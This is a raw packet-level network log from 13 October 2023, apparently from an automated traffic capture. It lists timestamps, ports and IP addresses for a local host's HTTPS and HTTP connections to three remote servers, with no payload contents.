Oct 13, 2023 16:06:11.983577967 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.984262943 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.984282017 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.984321117 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.984327078 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.984357119 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.984376907 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.984888077 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.984905958 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.984977961 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.984985113 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.985023022 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.985950947 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.985975981 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.986008883 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.986015081 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.986044884 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.986064911 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.986838102 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.986864090 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.986902952 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.986912012 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.986937046 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.986953974 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.987576008 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.987596989 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.987637997 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.987643957 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.987668991 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.987678051 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.988491058 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.988509893 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.988559961 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.988574028 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.988634109 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.989418030 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.989437103 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.989506006 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.989511967 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.989547014 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.989573956 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.989582062 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.989629030 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.989629030 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.989643097 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.989706993 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:12.024550915 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:12.136636019 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:12.136670113 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:12.136684895 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:12.136693954 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:12.145080090 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.145158052 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.145318985 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.145330906 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.145366907 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.145405054 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.145452976 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.145503044 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.145869017 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.145931959 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.146092892 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.146126986 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.146153927 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.146179914 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.146188974 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.146231890 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.146255016 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.146267891 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.146312952 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.146322012 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.146332979 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.146349907 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.146375895 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.146405935 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.146801949 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.146812916 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.146823883 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.146873951 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.147010088 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.147038937 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.147042036 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.147049904 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.147079945 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.147176981 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.147190094 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.147202015 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.147217035 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.147231102 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.147249937 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.147468090 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.147507906 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.147720098 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.147762060 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.147952080 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.148022890 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.148027897 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.148061991 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.148121119 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.148133039 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.148161888 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.148175955 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.148190022 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.148219109 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.148238897 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.148260117 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.148263931 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.148303986 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.148422003 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.148461103 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.149136066 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.149178028 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.149540901 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.149584055 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.149672985 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.149724007 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.149789095 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.149827003 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.149876118 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.149919033 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.149940014 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.149981022 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150005102 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150047064 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150137901 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150181055 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150192976 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150223017 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150249958 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150305986 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150321007 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150346041 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150388002 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150429010 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150439024 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150479078 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150547981 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150599003 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150599957 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150640965 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150662899 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150701046 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150746107 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150791883 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.150815964 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.150856018 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.151014090 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.151053905 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.151123047 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.151165009 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.151170969 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.151211023 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.151264906 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.151308060 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.151402950 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.151447058 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.151469946 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.151510000 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.151519060 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.151556015 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.151571989 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.151609898 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.151645899 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.151686907 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.205178976 CEST	80	49782	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:12.233650923 CEST	80	49782	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:12.233783960 CEST	49782	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:12.502729893 CEST	49782	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:12.508066893 CEST	49783	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:12.553337097 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.553419113 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.553415060 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.553493023 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.553730011 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.553780079 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.553787947 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.553819895 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.553853035 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.553899050 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.553905010 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.553939104 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.554025888 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.554071903 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.554100037 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.554174900 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.554491043 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.554544926 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.555011034 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.555066109 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.555110931 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.555160046 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.555195093 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.555241108 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.555299044 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.555351019 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.555371046 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.555385113 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.555418015 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.555418015 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.555440903 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.555497885 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.555551052 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.555577993 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.555696011 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.555778027 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.555824995 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.556092024 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.556133986 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.556202888 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.556260109 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.556355953 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.556432962 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.556438923 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.556555986 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.556586027 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.556634903 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.556637049 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.556664944 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.556688070 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.556715965 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.556768894 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.556869030 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.556878090 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.556927919 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.556943893 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.556987047 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.557112932 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.557167053 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.557177067 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.557234049 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.557235956 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.557265997 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.557286978 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.557316065 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.557363987 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.557408094 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.557523966 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.557569981 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.557638884 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.557682991 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.557785988 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.557830095 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.557833910 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.557878017 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.557890892 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.557940006 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.558000088 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.558043957 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.558105946 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.558151007 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.558166027 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.558214903 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.558283091 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.558329105 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.558345079 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.558387995 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.558501959 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.559185028 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.559245110 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.559259892 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.559308052 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.559402943 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.559452057 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.559530020 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.559576988 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.559622049 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.559701920 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.559730053 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.559761047 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.559808969 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.559854031 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.559906960 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.559952974 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.559999943 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560045004 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.560072899 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560115099 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.560138941 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560184002 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.560209990 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560254097 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.560276985 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560293913 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560322046 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.560332060 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560340881 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.560359955 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560404062 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.560430050 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560441971 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560452938 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560475111 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.560506105 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.560904980 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560957909 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.560962915 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560975075 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.560986996 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.561007977 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.561033964 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.561039925 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.561055899 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.561101913 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.561131001 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.561176062 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.561201096 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.561216116 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.561245918 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.561278105 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.561708927 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.561747074 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.561759949 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.561794996 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.561822891 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.561958075 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.562017918 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.562028885 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.562066078 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.562097073 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.562136889 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.562150002 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.562191963 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.562798977 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.562815905 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.562901020 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.562937021 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.562949896 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.562983990 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.563009024 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.563014030 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.563031912 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.563045025 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.563055992 CEST	80	49776	195.158.3.162	192.168.2.4
